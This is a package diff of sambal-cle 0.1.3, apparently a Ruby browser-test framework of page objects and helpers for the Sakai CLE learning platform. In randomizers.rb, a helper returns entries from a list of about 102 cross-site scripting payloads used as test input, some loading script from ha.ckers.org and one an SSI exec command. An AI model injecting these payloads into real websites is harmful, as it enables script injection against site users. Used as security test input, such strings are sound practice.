sambal-cle 0.1.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README.md +4 -0
- data/lib/sambal-cle/base_page.rb +20 -0
- data/lib/sambal-cle/core-ext.rb +90 -0
- data/lib/sambal-cle/data_objects/announcement.rb +82 -0
- data/lib/sambal-cle/data_objects/assessment.rb +32 -0
- data/lib/sambal-cle/data_objects/assignment.rb +205 -0
- data/lib/sambal-cle/data_objects/blog.rb +46 -0
- data/lib/sambal-cle/data_objects/blogger.rb +49 -0
- data/lib/sambal-cle/data_objects/chat_room.rb +54 -0
- data/lib/sambal-cle/data_objects/event.rb +89 -0
- data/lib/sambal-cle/data_objects/forum.rb +212 -0
- data/lib/sambal-cle/data_objects/lesson.rb +185 -0
- data/lib/sambal-cle/data_objects/message.rb +57 -0
- data/lib/sambal-cle/data_objects/poll.rb +74 -0
- data/lib/sambal-cle/data_objects/resource.rb +209 -0
- data/lib/sambal-cle/data_objects/site.rb +295 -0
- data/lib/sambal-cle/data_objects/syllabus.rb +73 -0
- data/lib/sambal-cle/data_objects/web_content_tool.rb +51 -0
- data/lib/sambal-cle/data_objects/wiki.rb +63 -0
- data/lib/sambal-cle/date_makers.rb +118 -0
- data/lib/sambal-cle/gem_ext.rb +23 -0
- data/lib/sambal-cle/page_helper.rb +22 -0
- data/lib/sambal-cle/page_maker.rb +48 -0
- data/lib/sambal-cle/page_objects/account.rb +111 -0
- data/lib/sambal-cle/page_objects/aliases.rb +43 -0
- data/lib/sambal-cle/page_objects/announcements.rb +190 -0
- data/lib/sambal-cle/page_objects/assessments.rb +874 -0
- data/lib/sambal-cle/page_objects/assignments.rb +770 -0
- data/lib/sambal-cle/page_objects/basic_lti.rb +6 -0
- data/lib/sambal-cle/page_objects/blogger.rb +205 -0
- data/lib/sambal-cle/page_objects/blogs.rb +60 -0
- data/lib/sambal-cle/page_objects/calendar.rb +330 -0
- data/lib/sambal-cle/page_objects/calendar_summary.rb +1 -0
- data/lib/sambal-cle/page_objects/chat_room.rb +22 -0
- data/lib/sambal-cle/page_objects/drop_box.rb +9 -0
- data/lib/sambal-cle/page_objects/email_archive.rb +22 -0
- data/lib/sambal-cle/page_objects/entity_picker.rb +62 -0
- data/lib/sambal-cle/page_objects/evaluations.rb +158 -0
- data/lib/sambal-cle/page_objects/feedback.rb +36 -0
- data/lib/sambal-cle/page_objects/forms.rb +120 -0
- data/lib/sambal-cle/page_objects/forums.rb +254 -0
- data/lib/sambal-cle/page_objects/glossary.rb +117 -0
- data/lib/sambal-cle/page_objects/gradebook.rb +29 -0
- data/lib/sambal-cle/page_objects/gradebook2.rb +17 -0
- data/lib/sambal-cle/page_objects/home.rb +36 -0
- data/lib/sambal-cle/page_objects/jforums.rb +444 -0
- data/lib/sambal-cle/page_objects/job_scheduler.rb +121 -0
- data/lib/sambal-cle/page_objects/lessons.rb +361 -0
- data/lib/sambal-cle/page_objects/login.rb +28 -0
- data/lib/sambal-cle/page_objects/matrix.rb +241 -0
- data/lib/sambal-cle/page_objects/media_gallery.rb +13 -0
- data/lib/sambal-cle/page_objects/messages.rb +622 -0
- data/lib/sambal-cle/page_objects/my_workspace.rb +44 -0
- data/lib/sambal-cle/page_objects/news.rb +8 -0
- data/lib/sambal-cle/page_objects/podcasts.rb +27 -0
- data/lib/sambal-cle/page_objects/polls.rb +69 -0
- data/lib/sambal-cle/page_objects/portfolio_templates.rb +161 -0
- data/lib/sambal-cle/page_objects/portfolios.rb +162 -0
- data/lib/sambal-cle/page_objects/post_em.rb +1 -0
- data/lib/sambal-cle/page_objects/profile.rb +51 -0
- data/lib/sambal-cle/page_objects/profile2.rb +344 -0
- data/lib/sambal-cle/page_objects/public_search.rb +61 -0
- data/lib/sambal-cle/page_objects/realms.rb +19 -0
- data/lib/sambal-cle/page_objects/resources.rb +326 -0
- data/lib/sambal-cle/page_objects/resources_roster.rb +0 -0
- data/lib/sambal-cle/page_objects/rosters.rb +70 -0
- data/lib/sambal-cle/page_objects/rwiki.rb +34 -0
- data/lib/sambal-cle/page_objects/search.rb +34 -0
- data/lib/sambal-cle/page_objects/sections.rb +295 -0
- data/lib/sambal-cle/page_objects/single_user.rb +1 -0
- data/lib/sambal-cle/page_objects/site_setup.rb +621 -0
- data/lib/sambal-cle/page_objects/site_statistics.rb +1 -0
- data/lib/sambal-cle/page_objects/sites.rb +255 -0
- data/lib/sambal-cle/page_objects/styles.rb +74 -0
- data/lib/sambal-cle/page_objects/syllabus.rb +166 -0
- data/lib/sambal-cle/page_objects/user_membership.rb +57 -0
- data/lib/sambal-cle/page_objects/users.rb +88 -0
- data/lib/sambal-cle/randomizers.rb +117 -0
- data/lib/sambal-cle/rich_text.rb +38 -0
- data/lib/sambal-cle/utilities.rb +31 -0
- data/lib/sambal-cle/workflows.rb +223 -0
- data/lib/sambal-cle.rb +31 -0
- data/sambal-cle.gemspec +14 -0
- data/test/add_assignment_to_calendar_spec.rb +86 -0
- data/test/assignment_announcements_spec.rb +71 -0
- data/test/assignment_gradebook_spec.rb +98 -0
- data/test/config.yml.template +4 -0
- data/test/directory.yml.template +123 -0
- data/test/duplicate_site_spec.rb +244 -0
- metadata +167 -0
@@ -0,0 +1,117 @@
|
|
1
|
+
# coding: UTF-8
|
2
|
+
module Randomizers
|
3
|
+
|
4
|
+
# A random string creator that draws from all printable ASCII characters
|
5
|
+
# from 33 to 128. Default length is 10 characters.
|
6
|
+
def random_string(length=10, s="")
|
7
|
+
length.enum_for(:times).inject(s) do |result, index|
|
8
|
+
s << rand(93) + 33
|
9
|
+
end
|
10
|
+
end
|
11
|
+
|
12
|
+
# A random string creator that draws from all printable ASCII and High ASCII characters
|
13
|
+
# from 33 to 256. Default length is 10 characters.
|
14
|
+
def random_high_ascii(length=10, s="")
|
15
|
+
length.enum_for(:times).inject(s) do |result, index|
|
16
|
+
s << rand(223) + 33
|
17
|
+
end
|
18
|
+
end
|
19
|
+
|
20
|
+
# A "friendlier" random string generator. No characters need to be escaped for valid URLs.
|
21
|
+
# Uses no Reserved or "Unsafe" characters.
|
22
|
+
# Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
|
23
|
+
def random_nicelink(length=10)
|
24
|
+
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
|
25
|
+
(0...length).map { chars[rand(chars.size)]}.join
|
26
|
+
end
|
27
|
+
|
28
|
+
# Returns a string that is properly formatted like an email address.
|
29
|
+
# The string returned defaults to 268 characters long.
|
30
|
+
# Including a number between 1 and 62 will shrink this string by 62 minus the specified
|
31
|
+
# value.
|
32
|
+
def random_email(x=62)
|
33
|
+
x > 62 ? x=62 : x=x
|
34
|
+
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
|
35
|
+
random_alphanums(1) + (0...x).map { chars[rand(chars.size)]}.join + random_alphanums(1) + "@" + random_alphanums(60) + ".com"
|
36
|
+
end
|
37
|
+
|
38
|
+
# A random string generator that uses all characters
|
39
|
+
# available on an American Qwerty keyboard.
|
40
|
+
def random_alphanums_plus(length=10, s="")
|
41
|
+
chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @ # $% ^ & * ( ) _ + - = { } [ ] \ : " ; ' < > ? , . / }
|
42
|
+
length.times { s << chars[rand(chars.size)] }
|
43
|
+
s.to_s
|
44
|
+
end
|
45
|
+
|
46
|
+
# A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
|
47
|
+
def random_alphanums(length=10, s="")
|
48
|
+
chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
|
49
|
+
length.times { s << chars[rand(chars.size)] }
|
50
|
+
s.to_s
|
51
|
+
end
|
52
|
+
|
53
|
+
# A random string generator that uses only lower case letters.
|
54
|
+
def random_letters(length=10, s="")
|
55
|
+
chars = 'abcdefghjkmnpqrstuvwxyz'
|
56
|
+
length.times { s << chars[rand(chars.size)] }
|
57
|
+
s.to_s
|
58
|
+
end
|
59
|
+
|
60
|
+
# Returns a block of text (of the specified type, see below) containing
|
61
|
+
# the specified number of "words" (each containing between 1 and 16 chars)
|
62
|
+
# randomly spread across the specified number of lines (note that
|
63
|
+
# the method does not allow the line count to be larger than
|
64
|
+
# the word count and will "fix" it if it is).
|
65
|
+
#
|
66
|
+
# If no parameters are provided, the method will return two alphanumeric
|
67
|
+
# "words" on two lines.
|
68
|
+
#
|
69
|
+
# The last parameter the method takes will determine the character content
|
70
|
+
# of the string, viz.:
|
71
|
+
#
|
72
|
+
# :alpha => "Alphanumeric" - Uses the random_alphanums method
|
73
|
+
# :string => uses the random_string method, so chars 33 through 128 will be included
|
74
|
+
# :ascii => All ASCII chars from 33 to 256 are fair game -> uses random_high_ascii
|
75
|
+
def random_multiline(word_count=2, line_count=2, char_type=:alpha)
|
76
|
+
char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)"}
|
77
|
+
if line_count > word_count
|
78
|
+
line_count = word_count - 1
|
79
|
+
end
|
80
|
+
words = []
|
81
|
+
non_words = []
|
82
|
+
word_count.times { words << eval(char_methods[char_type]) } # creating the words, adding to the array
|
83
|
+
(line_count - 1).times { non_words << "\n" } # adding the number of line feeds
|
84
|
+
unless word_count==line_count
|
85
|
+
(word_count - line_count - 1).times { non_words << " " } # adding the right number of spaces
|
86
|
+
end
|
87
|
+
non_words.shuffle! # Have to shuffle the line feeds around!
|
88
|
+
array = words.zip(non_words)
|
89
|
+
array.flatten!
|
90
|
+
array.join("")
|
91
|
+
end
|
92
|
+
|
93
|
+
# Picks at random from the list of XSS test strings, using
|
94
|
+
# the provided number as size of the list to choose from.
|
95
|
+
# It will randomly pre-pend the string with HTML closing tags.
|
96
|
+
#
|
97
|
+
# The strings are organized by length, with the shorter ones
|
98
|
+
# first. There are 102 strings.
|
99
|
+
def random_xss_string(number=102)
|
100
|
+
if number > 102
|
101
|
+
number = 102
|
102
|
+
end
|
103
|
+
xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav	ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\"  javascript:alert('XSS');\">", "<IMG SRC=javascript:alert("XSS")>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=javascript:alert('XSS')>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=javascript:alert('XSS')>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=javascript:alert('XSS')>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
|
104
|
+
x = rand(4)
|
105
|
+
case(x)
|
106
|
+
when 0
|
107
|
+
return xss[rand(number)]
|
108
|
+
when 1
|
109
|
+
return %|"| + xss[rand(number)]
|
110
|
+
when 2
|
111
|
+
return %|">| + xss[rand(number)]
|
112
|
+
when 3
|
113
|
+
return %|>| + xss[rand(number)]
|
114
|
+
end
|
115
|
+
|
116
|
+
end
|
117
|
+
end
|
@@ -0,0 +1,38 @@
|
|
1
|
+
module FCKEditor
|
2
|
+
|
3
|
+
# This has to be defined this way because there several pages
|
4
|
+
# that have multiple rich text editors.
|
5
|
+
def source(editor)
|
6
|
+
editor.div(:title=>/Source/).wait_until_present
|
7
|
+
editor.div(:title=>/Source/).click
|
8
|
+
end
|
9
|
+
|
10
|
+
def select_all(editor)
|
11
|
+
editor.div(:title=>"Select All").wait_until_present
|
12
|
+
editor.div(:title=>"Select All").click
|
13
|
+
end
|
14
|
+
|
15
|
+
def enter_source_text(editor, text)
|
16
|
+
source(editor)
|
17
|
+
source_field(editor).wait_until_present
|
18
|
+
source_field(editor).set text
|
19
|
+
end
|
20
|
+
|
21
|
+
def get_source_text(editor)
|
22
|
+
source(editor)
|
23
|
+
source_field(editor).wait_until_present
|
24
|
+
source_field(editor).value
|
25
|
+
end
|
26
|
+
|
27
|
+
def entity_picker(editor)
|
28
|
+
editor.div(:title=>"Sakai_Entity_Link").wait_until_present
|
29
|
+
editor.div(:title=>"Sakai_Entity_Link").click
|
30
|
+
@browser.frame(:index=>2).frame(:id=>"frmMain").button(:value=>"Browse Server").click
|
31
|
+
@browser.window(:index=>1).use
|
32
|
+
end
|
33
|
+
|
34
|
+
def source_field(editor)
|
35
|
+
editor.text_field(:class=>"SourceField")
|
36
|
+
end
|
37
|
+
|
38
|
+
end
|
@@ -0,0 +1,31 @@
|
|
1
|
+
# coding: UTF-8
|
2
|
+
|
3
|
+
module Utilities
|
4
|
+
|
5
|
+
# Strips the file name away from the path information.
|
6
|
+
#
|
7
|
+
# This way it's not necessary to define variables for BOTH the
|
8
|
+
# file name and the file path + file name. Just define the
|
9
|
+
# path + name and then use this method to extract only the filename
|
10
|
+
# portion.
|
11
|
+
#
|
12
|
+
# NOTE: This may be deprecated in the future, so think hard before
|
13
|
+
# using it.
|
14
|
+
def get_filename(path_plus_name_string)
|
15
|
+
path_plus_name_string =~ /(?<=\/).+/
|
16
|
+
return $~.to_s
|
17
|
+
end
|
18
|
+
|
19
|
+
# Shorthand method for making a data object for testing.
|
20
|
+
def make data_object_class, opts={}
|
21
|
+
data_object_class.new @browser, opts
|
22
|
+
end
|
23
|
+
|
24
|
+
# Transform for use with data object instance variables
|
25
|
+
# that refer to checkboxes or radio buttons.
|
26
|
+
def checkbox_setting(checkbox)
|
27
|
+
checkbox.set? ? :set : :clear
|
28
|
+
end
|
29
|
+
alias radio_setting checkbox_setting
|
30
|
+
|
31
|
+
end
|
@@ -0,0 +1,223 @@
|
|
1
|
+
# Workflows is a module containing helper navigation methods
|
2
|
+
module Workflows
|
3
|
+
|
4
|
+
def self.menu_link name, opts={}
|
5
|
+
define_method name.to_s do
|
6
|
+
@browser.link(opts).click
|
7
|
+
end
|
8
|
+
end
|
9
|
+
|
10
|
+
# Opens "My Sites" and then clicks on the matching
|
11
|
+
# Site name. Shortens the name used for search so
|
12
|
+
# that truncated names are not a problem.
|
13
|
+
# Should be followed by the Home class.
|
14
|
+
#
|
15
|
+
# Will error out if there are not matching links.
|
16
|
+
def open_my_site_by_name(name)
|
17
|
+
truncated_name = name[0..19]
|
18
|
+
@browser.link(:text, "My Sites").click
|
19
|
+
@browser.link(:text, /#{Regexp.escape(truncated_name)}/).click
|
20
|
+
end
|
21
|
+
|
22
|
+
# Clicks the "Account" link in the Adminstration Workspace
|
23
|
+
# Should be followed by the UserAccount class.
|
24
|
+
#
|
25
|
+
# Throws an error if the link is not present.
|
26
|
+
menu_link :account, :text=>"Account"
|
27
|
+
|
28
|
+
# Clicks the "Aliases" link in the Administration Workspace
|
29
|
+
# menu, then should be followed by the Aliases class.
|
30
|
+
menu_link :aliases, :text=>"Aliases"
|
31
|
+
|
32
|
+
# Clicks the link for the Administration Workspace, then
|
33
|
+
# should be followed by the MyWorkspace class.
|
34
|
+
menu_link :administration_workspace, :text=>"Administration Workspace"
|
35
|
+
|
36
|
+
# Clicks the Announcements link goes to
|
37
|
+
# the Announcements class.
|
38
|
+
menu_link :announcements, :class=>'icon-sakai-announcements'
|
39
|
+
|
40
|
+
# Clicks the Assignments link, goes to
|
41
|
+
# the AssignmentsList class.
|
42
|
+
menu_link :assignments, :class=>"icon-sakai-assignment-grades"
|
43
|
+
|
44
|
+
# BasicLTI class
|
45
|
+
menu_link :basic_lti, :class=>"icon-sakai-basiclti"
|
46
|
+
|
47
|
+
# Blogs class
|
48
|
+
menu_link :blogs, :class=>"icon-sakai-blogwow"
|
49
|
+
|
50
|
+
# Clicks the Blogger link in the Site menu and
|
51
|
+
# instantiates the Blogger Class.
|
52
|
+
menu_link :blogger, :class=>"icon-blogger"
|
53
|
+
|
54
|
+
# Clicks the Calendar link, then instantiates
|
55
|
+
# the Calendar class.
|
56
|
+
menu_link :calendar, :text=>"Calendar"
|
57
|
+
|
58
|
+
menu_link :certification, :text=>"Certification"
|
59
|
+
|
60
|
+
# ChatRoom class
|
61
|
+
menu_link :chat_room, :class=>"icon-sakai-chat"
|
62
|
+
|
63
|
+
menu_link :configuration_viewer, :text=>"Configuration Viewer"
|
64
|
+
menu_link :customizer, :text=>"Customizer"
|
65
|
+
|
66
|
+
# JForum page class.
|
67
|
+
menu_link :discussion_forums, :class=>"icon-sakai-jforum-tool"
|
68
|
+
|
69
|
+
# DropBox class
|
70
|
+
menu_link :drop_box, :class=>"icon-sakai-dropbox"
|
71
|
+
|
72
|
+
menu_link :email, :text=>"Email"
|
73
|
+
|
74
|
+
# Email Archive class
|
75
|
+
menu_link :email_archive, :class=>"icon-sakai-mailbox"
|
76
|
+
|
77
|
+
menu_link :email_template_administration, :text=>"Email Template Administration"
|
78
|
+
|
79
|
+
# EvaluationSystem class
|
80
|
+
menu_link :evaluation_system, :class=>"icon-sakai-rsf-evaluation"
|
81
|
+
|
82
|
+
# Feedback class
|
83
|
+
menu_link :feedback, :class=>"icon-sakai-postem"
|
84
|
+
|
85
|
+
# Forms class
|
86
|
+
menu_link :forms, :text=>"Forms", :class=>"icon-sakai-metaobj"
|
87
|
+
|
88
|
+
# Forums class.
|
89
|
+
menu_link :forums, :text=>"Forums"
|
90
|
+
|
91
|
+
# Glossary Class.
|
92
|
+
menu_link :glossary, :text=>"Glossary"
|
93
|
+
|
94
|
+
# Gradebook Class.
|
95
|
+
menu_link :gradebook, :text=>"Gradebook"
|
96
|
+
|
97
|
+
# Gradebook2 class
|
98
|
+
menu_link :gradebook2, :text=>"Gradebook2"
|
99
|
+
|
100
|
+
menu_link :help, :text=>"Help"
|
101
|
+
|
102
|
+
# Home class--unless the target page happens to be
|
103
|
+
# My Workspace, in which case the MyWorkspace
|
104
|
+
# page should be used.
|
105
|
+
menu_link :home, :text=>"Home"
|
106
|
+
|
107
|
+
# Job Scheduler class.
|
108
|
+
menu_link :job_scheduler, :text=>"Job Scheduler"
|
109
|
+
|
110
|
+
# Lessons class
|
111
|
+
menu_link :lessons, :text=>"Lessons"
|
112
|
+
|
113
|
+
menu_link :lesson_builder, :text=>"Lesson Builder"
|
114
|
+
menu_link :link_tool, :text=>"Link Tool"
|
115
|
+
menu_link :live_virtual_classroom, :text=>"Live Virtual Classroom"
|
116
|
+
|
117
|
+
# Matrices Class
|
118
|
+
menu_link :matrices, :text=>"Matrices"
|
119
|
+
|
120
|
+
# MediaGallery class
|
121
|
+
menu_link :media_gallery, :class=>"icon-sakai-kaltura"
|
122
|
+
|
123
|
+
menu_link :membership, :text=>"Membership"
|
124
|
+
menu_link :memory, :text=>"Memory"
|
125
|
+
|
126
|
+
# Messages class.
|
127
|
+
menu_link :messages, :text=>"Messages"
|
128
|
+
menu_link :my_sites, :text=>"My Sites"
|
129
|
+
|
130
|
+
# MyWorkspace Class.
|
131
|
+
menu_link :my_workspace, :text=>"My Workspace"
|
132
|
+
|
133
|
+
# News
|
134
|
+
menu_link :news, :class=>"icon-sakai-news"
|
135
|
+
|
136
|
+
menu_link :online, :text=>"On-Line"
|
137
|
+
menu_link :oauth_providers, :text=>"Oauth Providers"
|
138
|
+
menu_link :oauth_tokens, :text=>"Oauth Tokens"
|
139
|
+
menu_link :openSyllabus, :text=>"OpenSyllabus"
|
140
|
+
|
141
|
+
# Podcasts
|
142
|
+
menu_link :podcasts, :class=>"icon-sakai-podcasts"
|
143
|
+
|
144
|
+
# Polls class
|
145
|
+
menu_link :polls, :class=>"icon-sakai-poll"
|
146
|
+
|
147
|
+
# Portfolios class
|
148
|
+
menu_link :portfolios, :class=>"icon-osp-presentation"
|
149
|
+
|
150
|
+
# PortfolioTemplates
|
151
|
+
menu_link :portfolio_templates, :text=>"Portfolio Templates"
|
152
|
+
|
153
|
+
menu_link :preferences, :text=>"Preferences"
|
154
|
+
|
155
|
+
menu_link :profile, :text=>"Profile"
|
156
|
+
|
157
|
+
# Profile2 class
|
158
|
+
menu_link :profile2, :class=>"icon-sakai-profile2"
|
159
|
+
|
160
|
+
menu_link :realms, :text=>"Realms"
|
161
|
+
|
162
|
+
# Resources class.
|
163
|
+
menu_link :resources, :text=>"Resources"
|
164
|
+
|
165
|
+
# Roster
|
166
|
+
menu_link :roster, :class=>"icon-sakai-site-roster"
|
167
|
+
|
168
|
+
menu_link :rsmart_support, :text=>"rSmart Support"
|
169
|
+
|
170
|
+
# Because "Search" is used in many pages,
|
171
|
+
# The Search button found in the Site Management
|
172
|
+
# Menu must be given the more explicit name
|
173
|
+
menu_link :site_management_search, :class=>"icon-sakai-search"
|
174
|
+
|
175
|
+
# Sections
|
176
|
+
menu_link :sections, :class=>"icon-sakai-sections"
|
177
|
+
|
178
|
+
menu_link :site_archive, :text=>"Site Archive"
|
179
|
+
|
180
|
+
